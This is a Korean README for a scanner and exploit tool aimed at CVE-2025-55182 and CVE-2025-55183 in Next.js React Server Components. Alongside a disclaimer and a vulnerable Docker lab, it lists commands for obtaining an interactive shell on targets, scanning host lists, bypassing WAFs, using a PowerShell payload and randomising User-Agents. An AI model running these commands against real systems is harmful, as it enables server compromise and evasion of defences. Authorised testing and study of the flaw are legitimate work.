
React Server Components (RSC)에서 발생하는 심각한 원격 코드 실행(RCE) 취약점입니다. 또한 취약점을 안전하게 테스트하고 이해할 수 있는 실제 "Lab Environment"를 포함하고 있습니다.
이 저장소는 Next.js React Server Components(RSC)의 CVE-2025-55182(RCE) 및 CVE-2025-55183(소스 코드 노출)에 대한 스캐너 도구를 포함합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에서 이 도구를 사용하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.
자세한 기술 분석은 다음을 참조하세요: https://react2shell.com/
pip3 install -r requirements.txt
대상 URL이 취약한지 확인합니다.
python3 CVE-2025-55182.py -u <url>
파일에서 호스트 목록을 스캔합니다 (한 줄에 하나씩).
python3 CVE-2025-55182.py -l <hosts_file>
취약한 대상에서 대화형 셸을 획득합니다.
python3 CVE-2025-55182.py -u <url> --exploit
대상이 Server Actions를 통해 소스 코드를 유출하는지 확인합니다.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
RCE 시도 대신 부채널 탐지(시간/오류 기반)를 사용합니다.
python3 CVE-2025-55182.py -u <url> --safe-check
정크 데이터를 추가하여 WAF 콘텐츠 검사를 우회하거나 특정 우회를 사용합니다.
# 표준 WAF 우회 (정크 데이터)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF 우회 변형
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# 사용자 정의 헤더
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# 프록시 사용
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# 무작위 User-Agent 및 지연
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# 특정 경로 스캔
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
결과를 JSON, CSV 또는 HTML 형식의 파일로 저장합니다. --all-results 플래그는 취약한 호스트와 취약하지 않은 호스트를 모두 저장합니다.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
제공된 Docker 이미지를 사용하여 테스트용 취약한 인스턴스를 실행할 수 있습니다:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
Vercel 보안 연구에 관심이 있으신가요? 협업 연구 문서를 확인하세요:
📄 VERCEL_RESEARCH.md - 다음에 대한 포괄적인 가이드:
research 레이블이 있는 이슈를 열어 토론에 참여하세요!
| 인수 | 설명 |
|---|
-u, --url | 확인할 단일 URL/호스트. |
-l, --list | 스캔할 호스트 목록이 포함된 파일. |
--exploit | 대화형 셸 모드로 전환 (-u 필요). |
--nextjs-rsc-source-code-disclosure | 소스 코드 노출 확인 (CVE-2025-55183). |
-t, --threads | 동시 스레드 수 (기본값: 10). |
--timeout | 요청 제한 시간(초) (기본값: 10). |
-o, --output | 결과 출력 파일. |
--format | 출력 형식: json, csv, html. |
--all-results | 취약한 결과뿐만 아니라 모든 결과 저장. |
-k, --insecure | SSL 인증서 확인 비활성화. |
-H, --header | 'Key: Value' 형식의 사용자 정의 헤더. |
--path | 테스트할 사용자 정의 경로 (예: '/_next'). |
--path-file | 테스트할 경로 목록이 포함된 파일. |
--safe-check | RCE PoC 대신 안전한 부채널 탐지 사용. |
--windows | Windows PowerShell 페이로드 사용. |
--waf-bypass | WAF 우회를 위해 정크 데이터 추가. |
--waf-bypass-size | WAF 우회를 위한 정크 데이터 크기(KB). |
--vercel-waf-bypass | Vercel WAF 우회 페이로드 사용. |
--bypass-variant | 특정 WAF 우회 변형 선택 (1-102) 또는 'all'. |
-x, --proxy | 프록시 URL (예: http://127.0.0.1:8080). |
--random-agent | 각 요청에 대해 무작위 User-Agent 사용. |
--delay | 요청 간 지연 시간(초). |
-v, --verbose | 자세한 출력 (응답 스니펫 표시). |
-q, --quiet | 조용한 모드 (취약한 호스트만 표시). |
--no-color | 색상 출력 비활성화. |